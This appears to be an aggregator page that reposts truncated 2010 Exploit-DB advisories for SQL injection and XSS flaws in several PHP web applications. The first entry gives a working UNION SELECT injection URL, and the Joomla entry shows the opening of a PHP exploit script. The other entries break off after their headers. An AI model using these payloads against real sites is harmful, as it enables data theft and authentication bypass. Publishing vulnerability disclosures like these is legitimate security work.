# Title: CMS by MyWorks Multiple Vulnerabilities
# EDB-ID: 11610
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Palyo34
# Published: 2010-03-01
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
CMS by MyWorks SQL/ XSS Vulnerability
========================================================
####################################################################
# Author : Palyo34
# Home : www.1923Turk.com
# Script : CMS by MyWorks
# Script site: http://www.myworks.spb.ru/
####################################################################
===[ Exploit ]===
http://server/catalog/good.php?good_id= SQL INJECTION
1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
Demo:
http://server/catalog/good.php?good_id=1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
###################################################################
===[XSS Vulnerability]===
http://server/catalog/good.php?good_id=

Continue reading...

# Title: phptroubleticket (id) SQL Injection Vulnerability
# EDB-ID: 11609
# CVE-ID: ()
# OSVDB-ID: ()
# Author: kaMtiEz
# Published: 2010-03-01
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
########################################
## phptroubleticket SQL injection (id)
## Author : kaMtiEz (kamzcrew@yahoo.com)
## Homepage : http://www.indonesiancoder.com
## Date : 1 march, 2010
########################################
[ Software Information ]
[+] Vendor : http://www.phptroubleticket.org/
[+] Download : http://www.phptroubleticket.org/downloads.html
[+] version : 2.0 / lower [...]

Continue reading...

# Title: Majoda CMS (Auth Bypass) SQL Injection Vulnerability
# EDB-ID: 11606
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Phenom
# Published: 2010-02-28
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
——————————————————
——————————————————
_____ _
| __ \| |
| |__) | |__ ___ _ __ ___ _ __ ___
| ___/| ‘_ \ / _ \ [...]

Continue reading...

# Title: Baykus Yemek Tarifleri

Continue reading...

# Title: Joomla Component com_liveticker Blind SQL Injection Vulnerability
# EDB-ID: 11604
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Snakespc
# Published: 2010-02-28
# Verified: no
# Download Exploit Code
# Download N/A
view source
print?
#!/usr/bin/php
ini_set(”max_execution_time”,0);
print_r(’
#####################################################################
[»] Joomla com_liveticker Remote Blind Injection Vulnerability
#####################################################################
[»] Script: [Joomla]
[»] Language: [ PHP ]
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com ]
[»] Site: [ sec-war.com/cc>]
[»] Greetz [...]

Continue reading...